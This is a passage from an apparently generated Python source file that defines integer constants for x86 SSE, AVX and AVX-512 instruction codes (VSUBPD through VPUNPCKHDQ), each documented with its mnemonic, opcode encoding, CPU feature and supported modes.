``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSUBPD_YMM_K1Z_YMM_YMMM256B64: int = 1421
"""
``VSUBPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 5C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSUBPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1422
"""
``VSUBPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 5C /r``
``AVX512F``
``16/32/64-bit``
"""
SUBSS_XMM_XMMM32: int = 1423
"""
``SUBSS xmm1, xmm2/m32``
``F3 0F 5C /r``
``SSE``
``16/32/64-bit``
"""
VEX_VSUBSS_XMM_XMM_XMMM32: int = 1424
"""
``VSUBSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSUBSS_XMM_K1Z_XMM_XMMM32_ER: int = 1425
"""
``VSUBSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.0F.W0 5C /r``
``AVX512F``
``16/32/64-bit``
"""
SUBSD_XMM_XMMM64: int = 1426
"""
``SUBSD xmm1, xmm2/m64``
``F2 0F 5C /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VSUBSD_XMM_XMM_XMMM64: int = 1427
"""
``VSUBSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSUBSD_XMM_K1Z_XMM_XMMM64_ER: int = 1428
"""
``VSUBSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 5C /r``
``AVX512F``
``16/32/64-bit``
"""
MINPS_XMM_XMMM128: int = 1429
"""
``MINPS xmm1, xmm2/m128``
``NP 0F 5D /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMINPS_XMM_XMM_XMMM128: int = 1430
"""
``VMINPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMINPS_YMM_YMM_YMMM256: int = 1431
"""
``VMINPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMINPS_XMM_K1Z_XMM_XMMM128B32: int = 1432
"""
``VMINPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 5D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMINPS_YMM_K1Z_YMM_YMMM256B32: int = 1433
"""
``VMINPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 5D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMINPS_ZMM_K1Z_ZMM_ZMMM512B32_SAE: int = 1434
"""
``VMINPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{sae}``
``EVEX.512.0F.W0 5D /r``
``AVX512F``
``16/32/64-bit``
"""
MINPD_XMM_XMMM128: int = 1435
"""
``MINPD xmm1, xmm2/m128``
``66 0F 5D /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMINPD_XMM_XMM_XMMM128: int = 1436
"""
``VMINPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMINPD_YMM_YMM_YMMM256: int = 1437
"""
``VMINPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMINPD_XMM_K1Z_XMM_XMMM128B64: int = 1438
"""
``VMINPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 5D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMINPD_YMM_K1Z_YMM_YMMM256B64: int = 1439
"""
``VMINPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 5D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMINPD_ZMM_K1Z_ZMM_ZMMM512B64_SAE: int = 1440
"""
``VMINPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{sae}``
``EVEX.512.66.0F.W1 5D /r``
``AVX512F``
``16/32/64-bit``
"""
MINSS_XMM_XMMM32: int = 1441
"""
``MINSS xmm1, xmm2/m32``
``F3 0F 5D /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMINSS_XMM_XMM_XMMM32: int = 1442
"""
``VMINSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMINSS_XMM_K1Z_XMM_XMMM32_SAE: int = 1443
"""
``VMINSS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.F3.0F.W0 5D /r``
``AVX512F``
``16/32/64-bit``
"""
MINSD_XMM_XMMM64: int = 1444
"""
``MINSD xmm1, xmm2/m64``
``F2 0F 5D /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMINSD_XMM_XMM_XMMM64: int = 1445
"""
``VMINSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 5D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMINSD_XMM_K1Z_XMM_XMMM64_SAE: int = 1446
"""
``VMINSD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}``
``EVEX.LIG.F2.0F.W1 5D /r``
``AVX512F``
``16/32/64-bit``
"""
DIVPS_XMM_XMMM128: int = 1447
"""
``DIVPS xmm1, xmm2/m128``
``NP 0F 5E /r``
``SSE``
``16/32/64-bit``
"""
VEX_VDIVPS_XMM_XMM_XMMM128: int = 1448
"""
``VDIVPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VDIVPS_YMM_YMM_YMMM256: int = 1449
"""
``VDIVPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VDIVPS_XMM_K1Z_XMM_XMMM128B32: int = 1450
"""
``VDIVPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 5E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VDIVPS_YMM_K1Z_YMM_YMMM256B32: int = 1451
"""
``VDIVPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 5E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VDIVPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1452
"""
``VDIVPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.0F.W0 5E /r``
``AVX512F``
``16/32/64-bit``
"""
DIVPD_XMM_XMMM128: int = 1453
"""
``DIVPD xmm1, xmm2/m128``
``66 0F 5E /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VDIVPD_XMM_XMM_XMMM128: int = 1454
"""
``VDIVPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VDIVPD_YMM_YMM_YMMM256: int = 1455
"""
``VDIVPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VDIVPD_XMM_K1Z_XMM_XMMM128B64: int = 1456
"""
``VDIVPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 5E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VDIVPD_YMM_K1Z_YMM_YMMM256B64: int = 1457
"""
``VDIVPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 5E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VDIVPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1458
"""
``VDIVPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 5E /r``
``AVX512F``
``16/32/64-bit``
"""
DIVSS_XMM_XMMM32: int = 1459
"""
``DIVSS xmm1, xmm2/m32``
``F3 0F 5E /r``
``SSE``
``16/32/64-bit``
"""
VEX_VDIVSS_XMM_XMM_XMMM32: int = 1460
"""
``VDIVSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VDIVSS_XMM_K1Z_XMM_XMMM32_ER: int = 1461
"""
``VDIVSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.0F.W0 5E /r``
``AVX512F``
``16/32/64-bit``
"""
DIVSD_XMM_XMMM64: int = 1462
"""
``DIVSD xmm1, xmm2/m64``
``F2 0F 5E /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VDIVSD_XMM_XMM_XMMM64: int = 1463
"""
``VDIVSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 5E /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VDIVSD_XMM_K1Z_XMM_XMMM64_ER: int = 1464
"""
``VDIVSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 5E /r``
``AVX512F``
``16/32/64-bit``
"""
MAXPS_XMM_XMMM128: int = 1465
"""
``MAXPS xmm1, xmm2/m128``
``NP 0F 5F /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMAXPS_XMM_XMM_XMMM128: int = 1466
"""
``VMAXPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMAXPS_YMM_YMM_YMMM256: int = 1467
"""
``VMAXPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMAXPS_XMM_K1Z_XMM_XMMM128B32: int = 1468
"""
``VMAXPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 5F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMAXPS_YMM_K1Z_YMM_YMMM256B32: int = 1469
"""
``VMAXPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 5F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMAXPS_ZMM_K1Z_ZMM_ZMMM512B32_SAE: int = 1470
"""
``VMAXPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{sae}``
``EVEX.512.0F.W0 5F /r``
``AVX512F``
``16/32/64-bit``
"""
MAXPD_XMM_XMMM128: int = 1471
"""
``MAXPD xmm1, xmm2/m128``
``66 0F 5F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMAXPD_XMM_XMM_XMMM128: int = 1472
"""
``VMAXPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMAXPD_YMM_YMM_YMMM256: int = 1473
"""
``VMAXPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMAXPD_XMM_K1Z_XMM_XMMM128B64: int = 1474
"""
``VMAXPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 5F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMAXPD_YMM_K1Z_YMM_YMMM256B64: int = 1475
"""
``VMAXPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 5F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMAXPD_ZMM_K1Z_ZMM_ZMMM512B64_SAE: int = 1476
"""
``VMAXPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{sae}``
``EVEX.512.66.0F.W1 5F /r``
``AVX512F``
``16/32/64-bit``
"""
MAXSS_XMM_XMMM32: int = 1477
"""
``MAXSS xmm1, xmm2/m32``
``F3 0F 5F /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMAXSS_XMM_XMM_XMMM32: int = 1478
"""
``VMAXSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMAXSS_XMM_K1Z_XMM_XMMM32_SAE: int = 1479
"""
``VMAXSS xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.F3.0F.W0 5F /r``
``AVX512F``
``16/32/64-bit``
"""
MAXSD_XMM_XMMM64: int = 1480
"""
``MAXSD xmm1, xmm2/m64``
``F2 0F 5F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMAXSD_XMM_XMM_XMMM64: int = 1481
"""
``VMAXSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 5F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMAXSD_XMM_K1Z_XMM_XMMM64_SAE: int = 1482
"""
``VMAXSD xmm1 {k1}{z}, xmm2, xmm3/m64{sae}``
``EVEX.LIG.F2.0F.W1 5F /r``
``AVX512F``
``16/32/64-bit``
"""
PUNPCKLBW_MM_MMM32: int = 1483
"""
``PUNPCKLBW mm, mm/m32``
``NP 0F 60 /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKLBW_XMM_XMMM128: int = 1484
"""
``PUNPCKLBW xmm1, xmm2/m128``
``66 0F 60 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKLBW_XMM_XMM_XMMM128: int = 1485
"""
``VPUNPCKLBW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 60 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKLBW_YMM_YMM_YMMM256: int = 1486
"""
``VPUNPCKLBW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 60 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKLBW_XMM_K1Z_XMM_XMMM128: int = 1487
"""
``VPUNPCKLBW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 60 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKLBW_YMM_K1Z_YMM_YMMM256: int = 1488
"""
``VPUNPCKLBW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 60 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKLBW_ZMM_K1Z_ZMM_ZMMM512: int = 1489
"""
``VPUNPCKLBW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 60 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKLWD_MM_MMM32: int = 1490
"""
``PUNPCKLWD mm, mm/m32``
``NP 0F 61 /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKLWD_XMM_XMMM128: int = 1491
"""
``PUNPCKLWD xmm1, xmm2/m128``
``66 0F 61 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKLWD_XMM_XMM_XMMM128: int = 1492
"""
``VPUNPCKLWD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 61 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKLWD_YMM_YMM_YMMM256: int = 1493
"""
``VPUNPCKLWD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 61 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKLWD_XMM_K1Z_XMM_XMMM128: int = 1494
"""
``VPUNPCKLWD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 61 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKLWD_YMM_K1Z_YMM_YMMM256: int = 1495
"""
``VPUNPCKLWD ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 61 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKLWD_ZMM_K1Z_ZMM_ZMMM512: int = 1496
"""
``VPUNPCKLWD zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 61 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKLDQ_MM_MMM32: int = 1497
"""
``PUNPCKLDQ mm, mm/m32``
``NP 0F 62 /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKLDQ_XMM_XMMM128: int = 1498
"""
``PUNPCKLDQ xmm1, xmm2/m128``
``66 0F 62 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKLDQ_XMM_XMM_XMMM128: int = 1499
"""
``VPUNPCKLDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 62 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKLDQ_YMM_YMM_YMMM256: int = 1500
"""
``VPUNPCKLDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 62 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKLDQ_XMM_K1Z_XMM_XMMM128B32: int = 1501
"""
``VPUNPCKLDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 62 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKLDQ_YMM_K1Z_YMM_YMMM256B32: int = 1502
"""
``VPUNPCKLDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 62 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKLDQ_ZMM_K1Z_ZMM_ZMMM512B32: int = 1503
"""
``VPUNPCKLDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 62 /r``
``AVX512F``
``16/32/64-bit``
"""
PACKSSWB_MM_MMM64: int = 1504
"""
``PACKSSWB mm1, mm2/m64``
``NP 0F 63 /r``
``MMX``
``16/32/64-bit``
"""
PACKSSWB_XMM_XMMM128: int = 1505
"""
``PACKSSWB xmm1, xmm2/m128``
``66 0F 63 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPACKSSWB_XMM_XMM_XMMM128: int = 1506
"""
``VPACKSSWB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 63 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPACKSSWB_YMM_YMM_YMMM256: int = 1507
"""
``VPACKSSWB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 63 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPACKSSWB_XMM_K1Z_XMM_XMMM128: int = 1508
"""
``VPACKSSWB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 63 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKSSWB_YMM_K1Z_YMM_YMMM256: int = 1509
"""
``VPACKSSWB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 63 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKSSWB_ZMM_K1Z_ZMM_ZMMM512: int = 1510
"""
``VPACKSSWB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 63 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPGTB_MM_MMM64: int = 1511
"""
``PCMPGTB mm, mm/m64``
``NP 0F 64 /r``
``MMX``
``16/32/64-bit``
"""
PCMPGTB_XMM_XMMM128: int = 1512
"""
``PCMPGTB xmm1, xmm2/m128``
``66 0F 64 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPGTB_XMM_XMM_XMMM128: int = 1513
"""
``VPCMPGTB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 64 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPGTB_YMM_YMM_YMMM256: int = 1514
"""
``VPCMPGTB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 64 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPGTB_KR_K1_XMM_XMMM128: int = 1515
"""
``VPCMPGTB k1 {k2}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 64 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPGTB_KR_K1_YMM_YMMM256: int = 1516
"""
``VPCMPGTB k1 {k2}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 64 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPGTB_KR_K1_ZMM_ZMMM512: int = 1517
"""
``VPCMPGTB k1 {k2}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 64 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPGTW_MM_MMM64: int = 1518
"""
``PCMPGTW mm, mm/m64``
``NP 0F 65 /r``
``MMX``
``16/32/64-bit``
"""
PCMPGTW_XMM_XMMM128: int = 1519
"""
``PCMPGTW xmm1, xmm2/m128``
``66 0F 65 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPGTW_XMM_XMM_XMMM128: int = 1520
"""
``VPCMPGTW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 65 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPGTW_YMM_YMM_YMMM256: int = 1521
"""
``VPCMPGTW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 65 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPGTW_KR_K1_XMM_XMMM128: int = 1522
"""
``VPCMPGTW k1 {k2}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 65 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPGTW_KR_K1_YMM_YMMM256: int = 1523
"""
``VPCMPGTW k1 {k2}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 65 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPCMPGTW_KR_K1_ZMM_ZMMM512: int = 1524
"""
``VPCMPGTW k1 {k2}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 65 /r``
``AVX512BW``
``16/32/64-bit``
"""
PCMPGTD_MM_MMM64: int = 1525
"""
``PCMPGTD mm, mm/m64``
``NP 0F 66 /r``
``MMX``
``16/32/64-bit``
"""
PCMPGTD_XMM_XMMM128: int = 1526
"""
``PCMPGTD xmm1, xmm2/m128``
``66 0F 66 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPCMPGTD_XMM_XMM_XMMM128: int = 1527
"""
``VPCMPGTD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 66 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPCMPGTD_YMM_YMM_YMMM256: int = 1528
"""
``VPCMPGTD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 66 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPCMPGTD_KR_K1_XMM_XMMM128B32: int = 1529
"""
``VPCMPGTD k1 {k2}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 66 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPGTD_KR_K1_YMM_YMMM256B32: int = 1530
"""
``VPCMPGTD k1 {k2}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 66 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPCMPGTD_KR_K1_ZMM_ZMMM512B32: int = 1531
"""
``VPCMPGTD k1 {k2}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 66 /r``
``AVX512F``
``16/32/64-bit``
"""
PACKUSWB_MM_MMM64: int = 1532
"""
``PACKUSWB mm, mm/m64``
``NP 0F 67 /r``
``MMX``
``16/32/64-bit``
"""
PACKUSWB_XMM_XMMM128: int = 1533
"""
``PACKUSWB xmm1, xmm2/m128``
``66 0F 67 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPACKUSWB_XMM_XMM_XMMM128: int = 1534
"""
``VPACKUSWB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 67 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPACKUSWB_YMM_YMM_YMMM256: int = 1535
"""
``VPACKUSWB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 67 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPACKUSWB_XMM_K1Z_XMM_XMMM128: int = 1536
"""
``VPACKUSWB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 67 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKUSWB_YMM_K1Z_YMM_YMMM256: int = 1537
"""
``VPACKUSWB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 67 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKUSWB_ZMM_K1Z_ZMM_ZMMM512: int = 1538
"""
``VPACKUSWB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 67 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKHBW_MM_MMM64: int = 1539
"""
``PUNPCKHBW mm, mm/m64``
``NP 0F 68 /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKHBW_XMM_XMMM128: int = 1540
"""
``PUNPCKHBW xmm1, xmm2/m128``
``66 0F 68 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKHBW_XMM_XMM_XMMM128: int = 1541
"""
``VPUNPCKHBW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 68 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKHBW_YMM_YMM_YMMM256: int = 1542
"""
``VPUNPCKHBW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 68 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKHBW_XMM_K1Z_XMM_XMMM128: int = 1543
"""
``VPUNPCKHBW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 68 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKHBW_YMM_K1Z_YMM_YMMM256: int = 1544
"""
``VPUNPCKHBW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 68 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKHBW_ZMM_K1Z_ZMM_ZMMM512: int = 1545
"""
``VPUNPCKHBW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 68 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKHWD_MM_MMM64: int = 1546
"""
``PUNPCKHWD mm, mm/m64``
``NP 0F 69 /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKHWD_XMM_XMMM128: int = 1547
"""
``PUNPCKHWD xmm1, xmm2/m128``
``66 0F 69 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKHWD_XMM_XMM_XMMM128: int = 1548
"""
``VPUNPCKHWD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 69 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKHWD_YMM_YMM_YMMM256: int = 1549
"""
``VPUNPCKHWD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 69 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKHWD_XMM_K1Z_XMM_XMMM128: int = 1550
"""
``VPUNPCKHWD xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG 69 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKHWD_YMM_K1Z_YMM_YMMM256: int = 1551
"""
``VPUNPCKHWD ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG 69 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPUNPCKHWD_ZMM_K1Z_ZMM_ZMMM512: int = 1552
"""
``VPUNPCKHWD zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG 69 /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKHDQ_MM_MMM64: int = 1553
"""
``PUNPCKHDQ mm, mm/m64``
``NP 0F 6A /r``
``MMX``
``16/32/64-bit``
"""
PUNPCKHDQ_XMM_XMMM128: int = 1554
"""
``PUNPCKHDQ xmm1, xmm2/m128``
``66 0F 6A /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKHDQ_XMM_XMM_XMMM128: int = 1555
"""
``VPUNPCKHDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 6A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKHDQ_YMM_YMM_YMMM256: int = 1556
"""
``VPUNPCKHDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 6A /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKHDQ_XMM_K1Z_XMM_XMMM128B32: int = 1557
"""
